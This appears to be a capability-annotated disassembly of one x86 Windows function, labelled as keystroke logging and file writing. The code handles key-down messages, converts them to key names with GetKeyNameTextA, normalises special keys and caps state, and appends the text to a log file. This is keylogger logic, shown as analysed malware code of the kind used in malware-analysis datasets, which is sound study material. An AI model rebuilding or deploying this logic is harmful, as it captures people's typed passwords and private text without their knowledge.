Function at 0x407bc0
Capabilities:
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41260f
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [0x41ba84]
mov ecx, edi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x68], edi
call fcn.00408720
cmp dword [ebp + 8], 0
jne 0x40849a
mov eax, dword [ebp + 0xc]
cmp eax, 0x104
je 0x407c1c
cmp eax, 0x100
jne 0x40849a
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov dword [ebp - 4], 0
movups xmm1, xmmword [esi]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x50], eax
movaps xmm0, xmm1
psrldq xmm1, 4
psrldq xmm0, 8
movd ecx, xmm0
movd eax, xmm1
push 0xff
push dword [edi + 0x3c]
shl ecx, 8
add ecx, eax
shl ecx, 0x10
inc ecx
push ecx
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
mov edx, dword [edi + 0x3c]
mov ecx, edx
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c90
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x64]
call fcn.0040f0c0
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x407cd7
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407ccd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408423
push edx
push ecx
call fcn.00410dcc
add esp, 8
movups xmm0, xmmword [ebp - 0x64]
mov edi, dword [ebp - 0x54]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [ebp - 0x54]
movq qword [ebp - 0x18], xmm0
cmp edi, 1
jbe 0x4082a1
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x64]
cmovae ecx, edx
cmp edi, 8
jne 0x407d73
mov esi, edi
mov edx, str.CAPSLOCK
sub esi, 4
jb 0x407d24
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x407d29
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407d13
cmp esi, 0xfffffffc
je 0x407d5d
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x407d56
cmp esi, 0xfffffffd
je 0x407d5d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x407d56
cmp esi, 0xfffffffe
je 0x407d5d
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x407d56
cmp esi, 0xffffffff
je 0x407d5d
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x407d5d
sbb eax, eax
or eax, 1
jmp 0x407d5f
xor eax, eax
mov edx, dword [ebp - 0x64]
test eax, eax
jne 0x407d73
cmp byte [0x41ba88], al
sete byte [0x41ba88]
mov eax, dword [ebp - 0x50]
lea ecx, [ebp - 0x28]
cmp eax, 0x10
cmovae ecx, edx
cmp edi, 5
jne 0x407dea
mov esi, edi
mov edx, str.ENTER
sub esi, 4
jb 0x407da1
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x407da6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407d90
cmp esi, 0xfffffffc
je 0x407dda
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x407dd3
cmp esi, 0xfffffffd
je 0x407dda
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x407dd3
cmp esi, 0xfffffffe
je 0x407dda
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x407dd3
cmp esi, 0xffffffff
je 0x407dda
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x407dda
sbb eax, eax
or eax, 1
jmp 0x407ddc
xor eax, eax
test eax, eax
je 0x407ec4
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, edx
cmp edi, 5
jne 0x407e5a
mov esi, edi
mov edx, str.Enter
sub esi, 4
jb 0x407e15
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x407e1a
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407e04
cmp esi, 0xfffffffc
je 0x407e4e
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x407e47
cmp esi, 0xfffffffd
je 0x407e4e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x407e47
cmp esi, 0xfffffffe
je 0x407e4e
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x407e47
cmp esi, 0xffffffff
je 0x407e4e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x407e4e
sbb eax, eax
or eax, 1
jmp 0x407e50
xor eax, eax
test eax, eax
je 0x407ec4
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, edx
cmp edi, 9
jne 0x407ede
mov esi, edi
mov edx, str.Num_Enter
sub esi, 4
jb 0x407e85
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x407e8a
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407e74
cmp esi, 0xfffffffc
je 0x407ebe
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x407eb7
cmp esi, 0xfffffffd
je 0x407ebe
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x407eb7
cmp esi, 0xfffffffe
je 0x407ebe
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x407eb7
cmp esi, 0xffffffff
je 0x407ebe
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x407ebe
sbb eax, eax
or eax, 1
jmp 0x407ec0
xor eax, eax
test eax, eax
jne 0x407ed8
push 1
push 0x414bbc
lea ecx, [ebp - 0x28]
call fcn.0040f0c0
jmp 0x40828e
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, edx
cmp edi, 5
jne 0x407f4e
mov esi, edi
mov edx, str.SPACE
sub esi, 4
jb 0x407f09
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x407f0e
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407ef8
cmp esi, 0xfffffffc
je 0x407f42
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x407f3b
cmp esi, 0xfffffffd
je 0x407f42
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x407f3b
cmp esi, 0xfffffffe
je 0x407f42
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x407f3b
cmp esi, 0xffffffff
je 0x407f42
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x407f42
sbb eax, eax
or eax, 1
jmp 0x407f44
xor eax, eax
test eax, eax
je 0x407fb8
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, edx
cmp edi, 5
jne 0x407fd2
mov esi, edi
mov edx, str.Space
sub esi, 4
jb 0x407f79
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x407f7e
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407f68
cmp esi, 0xfffffffc
je 0x407fb2
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x407fab
cmp esi, 0xfffffffd
je 0x407fb2
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x407fab
cmp esi, 0xfffffffe
je 0x407fb2
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x407fab
cmp esi, 0xffffffff
je 0x407fb2
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x407fb2
sbb eax, eax
or eax, 1
jmp 0x407fb4
xor eax, eax
test eax, eax
jne 0x407fcc
push 1
push 0x414c1c
lea ecx, [ebp - 0x28]
call fcn.0040f0c0
jmp 0x40828e
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, edx
cmp edi, 3
jne 0x408046
mov esi, edi
mov edx, 0x414c20
sub esi, 4
jb 0x408001
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x408006
add ecx, 4
add edx, 4
sub esi, 4
jae 0x407ff0
cmp esi, 0xfffffffc
je 0x40803a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x408033
cmp esi, 0xfffffffd
je 0x40803a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x408033
cmp esi, 0xfffffffe
je 0x40803a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x408033
cmp esi, 0xffffffff
je 0x40803a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40803a
sbb eax, eax
or eax, 1
jmp 0x40803c
xor eax, eax
test eax, eax
je 0x4080b0
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, edx
cmp edi, 3
jne 0x4080ca
mov esi, edi
mov edx, 0x414c24
sub esi, 4
jb 0x408071
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x408076
add ecx, 4
add edx, 4
sub esi, 4
jae 0x408060
cmp esi, 0xfffffffc
je 0x4080aa
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4080a3
cmp esi, 0xfffffffd
je 0x4080aa
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4080a3
cmp esi, 0xfffffffe
je 0x4080aa
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4080a3
cmp esi, 0xffffffff
je 0x4080aa
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4080aa
sbb eax, eax
or eax, 1
jmp 0x4080ac
xor eax, eax
test eax, eax
jne 0x4080c4
push 1
push 0x414c28
lea ecx, [ebp - 0x28]
call fcn.0040f0c0
jmp 0x40828e
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, edx
cmp edi, 9
jne 0x408172
mov esi, edi
mov edx, str.Caps_Lock
sub esi, 4
jb 0x4080f9
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4080fe
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4080e8
cmp esi, 0xfffffffc
je 0x408132
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40812b
cmp esi, 0xfffffffd
je 0x408132
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40812b
cmp esi, 0xfffffffe
je 0x408132
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40812b
cmp esi, 0xffffffff
je 0x408132
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x408132
sbb eax, eax
or eax, 1
jmp 0x408134
xor eax, eax
test eax, eax
jne 0x40816f
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
jb 0x40849a
mov edx, dword [ebp - 0x64]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x408168
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408423
push ecx
push edx
jmp 0x408492
mov edx, dword [ebp - 0x64]
mov eax, 0x7fffffff
sub eax, edi
cmp eax, 3
jb 0x4084b7
cmp dword [ebp - 0x50], 0x10
lea eax, [ebp - 0x28]
push edi
cmovae eax, edx
push eax
push 3
push 0x414c3c
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x48]
call fcn.0040ffb0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x34]
mov eax, edx
mov ecx, dword [ebp - 0x38]
sub eax, ecx
push 3
push 0x414c38
cmp eax, 3
jb 0x4081df
cmp edx, 0x10
lea esi, [ebp - 0x48]
lea eax, [ecx + 3]
cmovae esi, dword [ebp - 0x48]
add esi, ecx
mov dword [ebp - 0x38], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 3], 0
lea eax, [ebp - 0x48]
jmp 0x4081f0
mov byte [ebp - 0x2c], 0
lea ecx, [ebp - 0x48]
push dword [ebp - 0x2c]
push 3
call fcn.0040fd70
movups xmm0, xmmword [eax]
movq xmm1, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x14]
movq qword [ebp - 0x30], xmm1
movups xmmword [ebp - 0x5c], xmm0
cmp edx, 0x10
jb 0x40824b
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408238
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40827e
push edx
push ecx
call fcn.00410dcc
movups xmm0, xmmword [ebp - 0x5c]
add esp, 8
movq xmm1, qword [ebp - 0x30]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x34]
movq qword [ebp - 0x18], xmm1
movups xmmword [ebp - 0x28], xmm0
cmp edx, 0x10
jb 0x40828e
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408284
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408284
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
cmp dword [ebp - 0x14], 0x10
mov edi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
setae byte [ebp - 0x49]
mov al, byte [ebp - 0x49]
jmp 0x4082fa
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, dword [ebp - 0x18]
xor esi, esi
test al, 1
jne 0x408429
test ecx, ecx
je 0x4082ee
nop word [eax + eax]
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
jb 0x4082d1
mov edi, dword [ebp - 0x28]
lea eax, [esi + edi]
jmp 0x4082d6
add eax, esi
lea edi, [ebp - 0x28]
movsx eax, byte [eax]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [edi + esi], al
add esp, 4
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, ecx
jb 0x4082c0
mov edi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
setae al
mov edx, dword [ebp - 0x68]
lea esi, [ebp - 0x28]
cmovae esi, edi
test al, al
push ecx
mov dword [edx + 0x3c], esi
lea edx, [ebp - 0x28]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmovne edx, edi
call fcn.004102d0
mov eax, dword [ebp - 0x68]
add esp, 4
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov edx, dword [eax + 0x3c]
mov ecx, edx
mov byte [ebp - 0x48], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408341
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x48]
call fcn.0040f0c0
mov byte [ebp - 4], 2
cmp dword [0x41ba6c], 0
jne 0x408390
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x2c], esi
push 0x600
push 0
push esi
mov byte [ebp - 4], 3
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov dword [0x41ba6c], eax
mov eax, dword [ebp - 0x68]
push 0
push 2
push 4
mov edi, dword [eax + 0x3c]
push 0
push 3
push 4
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4083c2
push 0
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x38]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x4083f9
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4083ef
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408423
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40849a
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408490
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408490
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
test ecx, ecx
je 0x4082ee
mov edx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
cmp edx, 0x10
lea eax, [ebp - 0x28]
cmovae eax, edi
setae byte [ebp - 0x49]
cmp byte [eax + esi], 0x41
jl 0x408486
cmp byte [ebp - 0x49], 0
lea eax, [ebp - 0x28]
cmovne eax, edi
cmp byte [eax + esi], 0x5a
jg 0x408486
cmp byte [ebp - 0x49], 0
lea eax, [ebp - 0x28]
je 0x408468
lea eax, [esi + edi]
jmp 0x40846d
add eax, esi
lea edi, [ebp - 0x28]
movsx eax, byte [eax]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov byte [edi + esi], al
add esp, 4
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x28]
inc esi
cmp esi, ecx
jb 0x408437
jmp 0x4082f4
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00410a23
mov esp, ebp
pop ebp
ret 0xc
call fcn.00401460
int3